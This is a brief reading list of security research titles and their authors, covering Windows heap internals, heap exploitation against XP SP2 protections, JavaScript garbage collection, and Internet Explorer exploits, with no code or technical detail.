Heap Internals

- Windows Vista Heap Management Enhancements by Adrian Marinescu

Heap Exploitation

- Third Generation Exploitation by Halvar Flake
- Windows Heap Overflows by David Litchfield
- XP SP2 Heap Exploitation by Matt Conover
- Bypassing Windows heap protections by Nicolas Falliere
- Defeating Microsoft Windows XP SP2 Heap Protection and DEP bypass by Alexander Anisimov
- Exploiting Freelist[0] on XP SP2 by Brett Moore

JavaScript Internals

- How Do The Script Garbage Collectors Work? by Eric Lippert

Internet Explorer Exploitation

- Internet Explorer IFRAMG exploit by SkyLined
- ie_webview_setslice exploit by H D Moore